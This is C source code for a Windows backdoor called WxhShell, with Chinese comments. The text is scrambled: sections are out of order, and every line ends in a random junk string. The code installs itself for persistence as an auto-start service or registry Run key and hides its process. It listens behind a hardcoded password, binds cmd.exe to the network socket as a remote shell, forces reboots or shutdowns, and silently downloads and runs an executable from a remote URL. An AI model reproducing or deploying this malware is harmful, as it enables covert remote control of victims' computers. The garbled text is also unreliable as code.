    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6/`$Y!.ub  
    if(Boot(SHUTDOWN)) rQ -pD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (| DmYn!  
    else { S '>(4a  
    closesocket(wsh); +cQGX5 K  
    ExitThread(0); iHoQNog-!  
    } t sdkpt  
    break; cd1M0z  
    } C8qA+dri  
  // 获取shell 5)fEs.r0U  
  case 's': { {ndL]c'v  
    CmdShell(wsh); |7Fe~TC  
    closesocket(wsh); J;|r00M  
    ExitThread(0); DIR_W-z  
    break; M{gtu'.  
  } fHTqLYd-  
  // 退出 9%e& Z'l  
  case 'x': { >S4klW=*I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Q:i6 ~  
    CloseIt(wsh); X;Tayb  
    break; o7"2"( =>  
    } mJT<  
  // 离开 ?bwF$Ku  
  case 'q': { O,(p><k$/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ox;q +5  
    closesocket(wsh); .#zmX\a  
    WSACleanup(); f\O)+Vc  
    exit(1); Ag1*.t|  
    break; o@TxDG  
        } 7'pCFeA>=T  
  } &{${Fq  
  } LB}y,-vX>  
'<" eG!O  
  // 提示信息 #g,JNJ}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xQV5-VoFC  
} 40cgsRa|  
  } t]?u<KD<  
+JoE[;  
  return; ZS51QB  
} jj^{^,z\  
>vE1,JD)w  
// shell模块句柄 yi`Z(j;  
int CmdShell(SOCKET sock) J [}8&sn  
{ MNURYA=  
STARTUPINFO si; rb_ cm  
ZeroMemory(&si,sizeof(si)); jEr/*kv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e%#(:L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P?%kV  
PROCESS_INFORMATION ProcessInfo; bp G`,[  
char cmdline[]="cmd"; b#%s!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @i`*i@g  
  return 0; ~IvAnwQ'  
} iHy=92/Ww  
kfaRN ^  
// 自身启动模式 KLpu7D5(|  
int StartFromService(void) =fmM=@!$<  
{ =C{)i@ +  
typedef struct _^cDB1I ?  
{ <eRE;8C-  
  DWORD ExitStatus; s'\PU1{  
  DWORD PebBaseAddress; 6u>${}  
  DWORD AffinityMask; bQG2tDvu[  
  DWORD BasePriority; i=$##  
  ULONG UniqueProcessId; \tf \fa  
  ULONG InheritedFromUniqueProcessId; &oJ=   
}   PROCESS_BASIC_INFORMATION; bDI#'F  
RRh0G>*  
PROCNTQSIP NtQueryInformationProcess; JjarMJr| D  
nb}*IExd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +*"u(7AV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .6Jo1$+  
E!.>*`)?.  
  HANDLE             hProcess; 3vx*gfr3  
  PROCESS_BASIC_INFORMATION pbi; ^CZ!rOSv  
(jYHaTL6Y'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S;#S3?G  
  if(NULL == hInst ) return 0; @, v'V!  
(`+%K_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); II$B"-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {@K>oaZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _l$V|  
39| W(,  
  if (!NtQueryInformationProcess) return 0; ,!U._ic'B  
pyA;%vJn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^`ah\L  
  if(!hProcess) return 0; : vN'eL|#  
o*OYZ/_L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XO sPKq  
A[QUFk(  
  CloseHandle(hProcess); !#0Lo->OO  
d?dZ=]~C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UH=pQm ^W  
if(hProcess==NULL) return 0; M0[7>N _  
|sd0fTK  
HMODULE hMod; k<p$BZ  
char procName[255]; 4/Ub%t -  
unsigned long cbNeeded; -a:+ h\K  
o HqBNTyH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EA.4 m3  
LE^kN<qMK  
  CloseHandle(hProcess); Fd@n#DR `  
E,5XX;|  
if(strstr(procName,"services")) return 1; // 以服务启动  >-EJLa  
!d Ns3d  
  return 0; // 注册表启动 Cf@~W)K  
} Le#>uWM  
,CiN@T \&  
// 主模块 0 XV8 B  
int StartWxhshell(LPSTR lpCmdLine) ?wzE+p-  
{ ~,[<R  
  SOCKET wsl; ``*iK  
BOOL val=TRUE; S<do.{|p[  
  int port=0; 1<y(8C6  
  struct sockaddr_in door; y[M<x5  
=7{n 2  
  if(wscfg.ws_autoins) Install(); WGwpryaya  
;.$AhjqiP  
port=atoi(lpCmdLine); ;hP43Bi  
d:08@~#  
if(port<=0) port=wscfg.ws_port; Zpfsh2`  
b1An2 e[  
  WSADATA data; 'qR)f\em  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c*o05pMS  
ug]WIG7 S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] %A mX-U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;vM&se63  
  door.sin_family = AF_INET; AE`z~L,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fBtTJ+51}  
  door.sin_port = htons(port); !S6zC >  
G 3))3]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hSQ*_#  
closesocket(wsl); S]_iobWK  
return 1; l":\@rm`  
} ^0oOiZs  
CK4C:`YG  
  if(listen(wsl,2) == INVALID_SOCKET) { TmI~P+5w  
closesocket(wsl); \F`%vZrKR  
return 1; }HdibCAOf  
} } a#RX$d&  
  Wxhshell(wsl); "u#,#z_  
  WSACleanup(); Zb> UY8  
)fPN6x/e  
return 0; /2 V  
y5>X0tT  
} {O24:'K&  
nPlg5&E  
// 以NT服务方式启动 Mn`);[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TVy\%FP^L  
{ f]c{,LFvZ  
DWORD   status = 0; TsiI5'tx  
  DWORD   specificError = 0xfffffff; [2h 4%{R&  
| ]#PF*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IIj :\?r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6"@`iY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jL^3/0"o  
  serviceStatus.dwWin32ExitCode     = 0; o:oQF[TcFO  
  serviceStatus.dwServiceSpecificExitCode = 0; SSCyq#dl$  
  serviceStatus.dwCheckPoint       = 0; c, IAz  
  serviceStatus.dwWaitHint       = 0; @\ udaZc  
_JEe]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -@=As00Bg  
  if (hServiceStatusHandle==0) return; ~m`j=ot  
42E%&DF  
status = GetLastError(); EV=/'f[++  
  if (status!=NO_ERROR) L_@P fI  
{ X ? eCK,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |aD8  
    serviceStatus.dwCheckPoint       = 0; a] =k-Xh  
    serviceStatus.dwWaitHint       = 0; %%uvia=e  
    serviceStatus.dwWin32ExitCode     = status; Veeuw  
    serviceStatus.dwServiceSpecificExitCode = specificError; [2*?b/q3J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VD.wO%9?)  
    return; ?$v*_*:2h  
  } E@.daUoB  
9E`Laf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O0`o0 !=P  
  serviceStatus.dwCheckPoint       = 0; <m"fzT<"  
  serviceStatus.dwWaitHint       = 0; zDD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H6o_*Y  
}  }BFX7X  
7+'&(^c  
// 处理NT服务事件,比如:启动、停止 $[S)A0O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gUa-6@  
{ 2!kb?  
switch(fdwControl) h^ o@=%b  
{ 5rX_85]  
case SERVICE_CONTROL_STOP: l&JV.}qGB8  
  serviceStatus.dwWin32ExitCode = 0; 8'<RPU}M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g#*LJ `1  
  serviceStatus.dwCheckPoint   = 0;  4:Ton  
  serviceStatus.dwWaitHint     = 0; ~DJILc  
  { uW 7Yem&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >f\$~cp  
  } /#Fz K  
  return; K=K]R01/o  
case SERVICE_CONTROL_PAUSE: 4tA`,}ywPq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P 7`RAz  
  break; O3/w@q Q  
case SERVICE_CONTROL_CONTINUE: $cSmubZK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '&LH9r  
  break; }5b,u6  
case SERVICE_CONTROL_INTERROGATE: KA/ ~q"N  
  break; (C9{|T+h  
}; :|&S7 &l]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~pt#'65}:  
} xoe/I[P]U  
+T8h jOkC  
// 标准应用程序主函数 |U:VkiKt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { POfT m}  
{ Y@l>4q")  
'/U%-/@  
// 获取操作系统版本 VX6M4<8  
OsIsNt=GetOsVer(); <^n@q f}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wn Q% 'Eo  
nN'>>'@>  
  // 从命令行安装 p3Z[-2I  
  if(strpbrk(lpCmdLine,"iI")) Install(); K3;~|U-l  
Xs Ey8V  
  // 下载执行文件 Xh?J"kjof  
if(wscfg.ws_downexe) { N"[r_!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4p6\8eytq.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8+mu'RZ X  
} W.sH  
/Z1>3=G by  
if(!OsIsNt) { !QsmT3   
// 如果时win9x,隐藏进程并且设置为注册表启动 =a $7^d  
HideProc(); ecdM+kP  
StartWxhshell(lpCmdLine); Sp-M:,H3H  
} Yu+;vjbK-  
else 19]O;  
  if(StartFromService()) ` st^i$A  
  // 以服务方式启动 %) /Bl.{}<  
  StartServiceCtrlDispatcher(DispatchTable); 70F(`;  
else ? 4v"y@v  
  // 普通方式启动 k=  
  StartWxhshell(lpCmdLine); FIN0~ 8  
t~V?p'a0ys  
return 0; u`gY/]y!  
} Uqd2{fji=#  
~Q2,~9Dkc  
h[& \ OD,P  
cnL@j_mb  
=========================================== g0M/Sv  
AVO$R\1YR  
Q`HG_n@?  
QI4a@WB]ok  
NOQSLT=  
,R*YI  
" &`B Tw1u  
mQ=nU  
#include <stdio.h> S]<%^W'  
#include <string.h> OV`#/QL  
#include <windows.h> UNCI"Mjb  
#include <winsock2.h> a=r^?q'/  
#include <winsvc.h> ]]6  
#include <urlmon.h> \~#$o34V  
t-Zk)*d/0  
#pragma comment (lib, "Ws2_32.lib") Clmz}F  
#pragma comment (lib, "urlmon.lib") ?{(Jy*  
5 8n(fdE  
#define MAX_USER   100 // 最大客户端连接数 !glGW[r/7  
#define BUF_SOCK   200 // sock buffer "vF7b|I  
#define KEY_BUFF   255 // 输入 buffer w1,6%?p(O  
8;fi1 "F;}  
#define REBOOT     0   // 重启 1z-Q~m@@  
#define SHUTDOWN   1   // 关机 IJ2>\bW_p  
%Hpz^<`  
#define DEF_PORT   5000 // 监听端口 W~?mr! `  
K {__rO  
#define REG_LEN     16   // 注册表键长度 +8 }p-<a  
#define SVC_LEN     80   // NT服务名长度 (;2]`D [x  
+`+r\*C5  
// 从dll定义API 87OX:6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tW \q;_DSr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *k !zdV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uq=!>C8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8?[#\KgH1  
6B&ERdoX  
// wxhshell配置信息 G0Wv=tX|  
struct WSCFG { K&;;{~md.  
  int ws_port;         // 监听端口 FQO>%=&4  
  char ws_passstr[REG_LEN]; // 口令 HyJ&;4rf  
  int ws_autoins;       // 安装标记, 1=yes 0=no T?EFY}f  
  char ws_regname[REG_LEN]; // 注册表键名 tS sDW!!M  
  char ws_svcname[REG_LEN]; // 服务名 #RTiWD[o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oF=UjA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q:3HU<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,7^,\ ,-m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -3|i5,f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }^Ky)**  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9RnXp&w  
0 ChdFf7  
}; Ir$:e*E>  
o(3`-ucD`  
// default Wxhshell configuration `cpUl*Y=  
struct WSCFG wscfg={DEF_PORT, l>?k>NEpP  
    "xuhuanlingzhe", 4qg] oiT  
    1, #2Z\K>L  
    "Wxhshell", 5 u^;71  
    "Wxhshell", wKj0vMW  
            "WxhShell Service", mVEHVz $  
    "Wrsky Windows CmdShell Service", EM0]"s@Lf  
    "Please Input Your Password: ", BLcsIyq  
  1, ?vocI  
  "http://www.wrsky.com/wxhshell.exe", )jm u*D5N  
  "Wxhshell.exe" 9p%8VDF=  
    }; {"@E_{\  
+^V%D!.$@  
// 消息定义模块 nI<Ab_EB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |emZZj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]?n~?dD{]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j[&C6l+wH  
char *msg_ws_ext="\n\rExit."; yUlYf#`H  
char *msg_ws_end="\n\rQuit."; {+x;J4  
char *msg_ws_boot="\n\rReboot..."; tjt#2i8/  
char *msg_ws_poff="\n\rShutdown..."; F'3-*>]P  
char *msg_ws_down="\n\rSave to "; ca?;!~%zA  
O K2|/y  
char *msg_ws_err="\n\rErr!"; +EP=uV9t  
char *msg_ws_ok="\n\rOK!"; > @n?W"  
ZE"Z_E;r  
char ExeFile[MAX_PATH]; % #-'|~  
int nUser = 0; 6),VN>j  
HANDLE handles[MAX_USER]; "&N1$$  
int OsIsNt; "|%'/p  
`'}c- Q  
SERVICE_STATUS       serviceStatus; 2[TssJQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :P: OQ[$  
 mIkc +X  
// 函数声明 vGI?X#w3  
int Install(void); D?@e,e  
int Uninstall(void); @g==U{k;t  
int DownloadFile(char *sURL, SOCKET wsh); _do(   
int Boot(int flag); V;>u()  
void HideProc(void); M,/{53  
int GetOsVer(void); q?2kD"%$  
int Wxhshell(SOCKET wsl); @Yy']!Ju  
void TalkWithClient(void *cs); H/BU2sa  
int CmdShell(SOCKET sock); ey! {  
int StartFromService(void); Hpq?I-g<^  
int StartWxhshell(LPSTR lpCmdLine); d}_%xkC  
[I4&E >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c&u~M=EW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J<=k [Q  
iJem9XXb  
// 数据结构和表定义 ;'xd8Jf  
SERVICE_TABLE_ENTRY DispatchTable[] = =EdLffU[J  
{ v %GcNjZk5  
{wscfg.ws_svcname, NTServiceMain}, wC4:OJ[d  
{NULL, NULL} &W:R#/|  
}; ;,Q6AS!  
/;\{zA$uC=  
// 自我安装 YMTB4|{  
int Install(void) { 0 vHgi  
{ 6d# V  
  char svExeFile[MAX_PATH]; (v$$`zh  
  HKEY key; 1pHt3Vc(G  
  strcpy(svExeFile,ExeFile); >5+]~[S  
s^Wh!:>r/  
// 如果是win9x系统,修改注册表设为自启动 ^VAvQ(b!:i  
if(!OsIsNt) { gyAKjLqqpi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FQGh+.U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _/%,ZoZ2  
  RegCloseKey(key); SwVdo|%.?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .*+KQ A8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )3RbD#?  
  RegCloseKey(key); > Vvjs  
  return 0; L fx$M  
    } |"XxM(Dm  
  } E2a00i/9Y  
} 1X$hwkof  
else { _;yi/)-2  
cp\A xWtUZ  
// 如果是NT以上系统,安装为系统服务 2h^9lrQcQG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H&3i[D!p  
if (schSCManager!=0) {9yW8&m  
{ Z2wgfP`  
  SC_HANDLE schService = CreateService A3=$I&!%  
  ( t:<dirw,o  
  schSCManager, f*Dy>sw  
  wscfg.ws_svcname, |)\{Rufb  
  wscfg.ws_svcdisp, 4_B1qN  
  SERVICE_ALL_ACCESS, BO 3%p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KW5u.phv  
  SERVICE_AUTO_START, L4C_qb k;:  
  SERVICE_ERROR_NORMAL, :w5p#+/,P  
  svExeFile, e-.s63hm  
  NULL, r:*0)UZlD  
  NULL, }xE}I<M  
  NULL, =9@t6   
  NULL, 7)y9% -}  
  NULL D%=FCmL5@=  
  ); 5gnmRd  
  if (schService!=0) ;zc,vs  
  { ON~K(O2g(  
  CloseServiceHandle(schService); 3~&h9#7 Ke  
  CloseServiceHandle(schSCManager); :4, OA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DHnu F@M  
  strcat(svExeFile,wscfg.ws_svcname); _[_mmf1;:'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @g~hYc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W nLMa|e  
  RegCloseKey(key); ;[>g(W+  
  return 0; hRWRXC 9  
    } DRUvQf  
  } Ar:ezA  
  CloseServiceHandle(schSCManager); |KQkmc  
} )^'g2gVK+p  
} Z(=U ZI?  
@<W^/D1#L  
return 1; !04zWYHo  
} yDdi+  
gE~]^B{  
// 自我卸载 @|c fFT W  
int Uninstall(void) KL}o%wfLy  
{ Q1yj+)_  
  HKEY key; $JTQA  
PfKF!/c B  
if(!OsIsNt) { 3.^Tm+ C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' 3MCb  
  RegDeleteValue(key,wscfg.ws_regname); B}YpIb]d  
  RegCloseKey(key); |{G GATni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ")cJA f  
  RegDeleteValue(key,wscfg.ws_regname); It .`  
  RegCloseKey(key); ;[~:Y[N  
  return 0; ZLRAiL  
  } g)@d(EYY  
} UZ"jQJQ  
} ueM[&:g&MU  
else { e<;^P(g`E  
68k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _,m|gr ,S  
if (schSCManager!=0) XA*sBf  
{ #~Z55 D_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _Ka6! 9  
  if (schService!=0) D'! v9}  
  { v>&sb3I  
  if(DeleteService(schService)!=0) { _poe{@h!  
  CloseServiceHandle(schService); AM ZWPU  
  CloseServiceHandle(schSCManager); ;=?f0z<  
  return 0; dmkd.aP4  
  } &S8Pnb)d  
  CloseServiceHandle(schService); zAxscD f'  
  } E =7m@"0  
  CloseServiceHandle(schSCManager); I|#1u7X%]  
} AK brXKx  
} *Ou)P9~-L  
]tzO)c)w;  
return 1; zL<<`u?  
} [ 4_JK  
g,0u_$U  
// 从指定url下载文件 JGB 9Z   
int DownloadFile(char *sURL, SOCKET wsh) 1Y-m=~J7  
{ pRAdo="  
  HRESULT hr; C25r3bj  
char seps[]= "/"; { eU_  
char *token; B)bq@jM  
char *file; W=9Zl(2C  
char myURL[MAX_PATH]; ]^j'2nJv0  
char myFILE[MAX_PATH]; \ tK{!v+  
O&Ws*k  
strcpy(myURL,sURL); lOc!KZHUp  
  token=strtok(myURL,seps); Y8^pgv  
  while(token!=NULL) OZ /!= ;  
  { keBf^NY  
    file=token; A* =r~T5B  
  token=strtok(NULL,seps); r[TTG0|  
  } 7%E]E,f/#  
D_HE!fl  
GetCurrentDirectory(MAX_PATH,myFILE); ia!b0*<   
strcat(myFILE, "\\"); /_`f b)f  
strcat(myFILE, file); &3nbmkM  
  send(wsh,myFILE,strlen(myFILE),0); @4'bI)  
send(wsh,"...",3,0); :RH0.5)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DeAi'"&  
  if(hr==S_OK) BJdH2qREN  
return 0; ygvX}q  
else >brf7h  
return 1; Ev R6^n/  
@"\j]ZEnY  
} Bj ~bsT@a.  
uP:Y[$O  
// 系统电源模块 <#hltPyh  
int Boot(int flag) kbxy^4"X  
{ @LzqQ [  
  HANDLE hToken; Zy>iaG9}  
  TOKEN_PRIVILEGES tkp; i09w(k?  
4|Wg lri  
  if(OsIsNt) { H.D1|sU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f~RS[h`:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y~w -z4  
    tkp.PrivilegeCount = 1; e+!+(D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h|MTE~   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lDQ'  
if(flag==REBOOT) { Zw)*+> +FV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T.fmEl  
  return 0; FuiEy=+  
} Nf#8V|  
else { RcASFBNpS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !F|mCEU  
  return 0; (&w'"-`  
} lYS+EVcR  
  } me#?1r  
  else { Z=B6fu*  
if(flag==REBOOT) { fcuU,A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VPKoBJ&  
  return 0; Nvlfi8.  
} fVU9?^0/)9  
else { wz,T7L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *q?-M"K  
  return 0; f?ImQYqP  
} = }&@XRLJ  
} ^k'?e"[gTs  
]<pnHh+2A  
return 1; =*icCng  
} fI/?2ZH  
f1a >C  
// win9x进程隐藏模块 _86#$|kw  
void HideProc(void) Q Eh_2  
{ Y4\BHFq  
acSm+t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _?vh#6F  
  if ( hKernel != NULL ) "!9hcv- ;  
  { Gj~1eS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t3#My2=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \k#|5W  
    FreeLibrary(hKernel); an4^(SY  
  } ,~R`@5+  
BVKr 2v  
return; "5KJ /7q!  
} SNV[KdvP*  
uB(16|W>S  
// 获取操作系统版本 o)X(;o  
int GetOsVer(void) MWsjkI`  
{ WcCJ;z:S?k  
  OSVERSIONINFO winfo; !n=?H1@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J3]W2m2Zw  
  GetVersionEx(&winfo); 5}4f[   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W>ziA  
  return 1; {*=+g>R gD  
  else UBmD 3|Zo  
  return 0; re\@v8w~  
} jm-J_o;}z6  
QF  P3S(  
// 客户端句柄模块 c]#+W@$  
int Wxhshell(SOCKET wsl) `5[$8;  
{ Q^&oXM'x/i  
  SOCKET wsh; B?Vr9H7n  
  struct sockaddr_in client; S~ dD;R  
  DWORD myID; KjrUTG0oA  
~ wMdk9RQ  
  while(nUser<MAX_USER) Bs@!S?  
{ *4i)aj  
  int nSize=sizeof(client); O8; `6r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A`=;yD  
  if(wsh==INVALID_SOCKET) return 1; .4M8  
)HrFWI'Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m])!'Pa( =  
if(handles[nUser]==0) CQf<En|1  
  closesocket(wsh); 9`"o,wGX3  
else I)xB I~x  
  nUser++; Qy)+YhE  
  } Xq3n7d.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LvWl*:z  
,0'Yj?U>  
  return 0; >m}U|#;W  
} K[wOK  
vv2N;/;I  
// 关闭 socket y_^w|  
void CloseIt(SOCKET wsh) _RLx;Tn)L  
{ HF9\SVR B  
closesocket(wsh); U Hej5-B  
nUser--; y Iab3/#`  
ExitThread(0); 9uXuV$.  
} U>q&p}z0 H  
AN!MFsk  
// 客户端请求句柄 Sv*@3x  
void TalkWithClient(void *cs) 3)F9:Tzw1  
{ s6#@S4^=\  
ZS&n,<a5L}  
  SOCKET wsh=(SOCKET)cs; -=W"  
  char pwd[SVC_LEN]; hK!Z ~  
  char cmd[KEY_BUFF]; :$bp4+3>  
char chr[1]; | HkLl^  
int i,j; M*DFtp<  
2?",2x09  
  while (nUser < MAX_USER) { oYYns%r}{  
_xg4;W6M=  
if(wscfg.ws_passstr) { }pE8G#O&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @S/PB[%S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q|E0Y   
  //ZeroMemory(pwd,KEY_BUFF); u N%RB$G  
      i=0; _eB?G  
  while(i<SVC_LEN) { f@ &?K<  
64Ot`=A"  
  // 设置超时 lpW|GFG  
  fd_set FdRead; h)%}O.ueB  
  struct timeval TimeOut; Wvhg:vup  
  FD_ZERO(&FdRead); ;5wmQFr  
  FD_SET(wsh,&FdRead); 2<d l23  
  TimeOut.tv_sec=8; F1V[8I.0  
  TimeOut.tv_usec=0; ?)B"\#`t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +]n.uA-`[a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); < q6z$c)K  
 b>N) H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8>: kv:MId  
  pwd=chr[0]; 89I[Dg;"u  
  if(chr[0]==0xd || chr[0]==0xa) { ?/mkFDN  
  pwd=0; V:M$-6jv  
  break; 'Ii%/ Ob!  
  } (Bta vE  
  i++; 5lp L$  
    } L*ZC` .h  
{x{/{{wzv  
  // 如果是非法用户,关闭 socket Yp8~wdm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7g-#v'.N  
} btq`[gAF\  
KFCL|9P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cz8%p;F:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yOn +Y  
 `O-LM e  
while(1) { F{1;~Yg%  
 P]bq9!{1  
  ZeroMemory(cmd,KEY_BUFF); % -~W|Y  
+39Vxe:Oy  
      // 自动支持客户端 telnet标准   -Yaw>$nJ  
  j=0; ,hj5.;M  
  while(j<KEY_BUFF) { >U~B"'!xV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _":yUa0D  
  cmd[j]=chr[0]; Ua.7_Em  
  if(chr[0]==0xa || chr[0]==0xd) { )PC(1Zn  
  cmd[j]=0; u-W6 hZ$  
  break; :Zy7h7P,lT  
  } )"  H$1  
  j++; ]Gw?DD|Gn  
    } S~"1q 0  
b P>!&s_  
  // 下载文件 ILt95l  
  if(strstr(cmd,"http://")) { zl>l.zJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #;bpxz1lR9  
  if(DownloadFile(cmd,wsh)) v1hrRf2<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #4(/#K 1j  
  else q&IO9/[dk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LEM{$Fxo&  
  } h&7]Bp  
  else { [3a-1,  
o0-7#2  
    switch(cmd[0]) { AL.zF\?  
  /o =V (  
  // 帮助 C;DNL^  
  case '?': { Ep% 5wR  
